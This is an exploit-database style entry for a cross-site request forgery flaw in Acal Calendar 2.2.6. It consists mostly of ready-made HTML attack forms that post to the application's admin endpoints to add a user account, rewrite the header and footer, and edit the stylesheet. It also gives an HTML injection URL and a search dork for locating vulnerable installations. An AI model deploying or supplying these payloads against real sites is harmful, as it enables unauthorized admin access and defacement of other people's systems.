Acal Calendar 2.2.6 - Cross-Site Request Forgery

# Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability]
# Date:          [11-03-2012]
# Author:        [Number 7]
# Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory]
# Version:       [2.2.6]
# Dork:          ["Calendar Admin: Edit Header and Footer"]
# Tested on:     [Windows,Linux]
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Add User<br>
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/changelogin.php?action=add"><br>
Username: <br>
<input type="text" size="20" name="user" /><br>
Password:<br>
 <input type="password" size="20" name="pass" />
<input type="submit" value="Add User" /></form>

Edit/Add Header
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=header" method="post">
<textarea cols="60" rows="14" name="header">Write New Header Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />

Edit/Add Footer
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer" method="post">
<textarea cols="60" rows="14" name="footer">Write New Footer Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />
</form>


Style Options
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style">
<textarea name="stylesheet" cols="60" rows="20">&lt;/textarea&gt;
<input type="submit" value="Edit" />

HTML INJECTION:
http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here.
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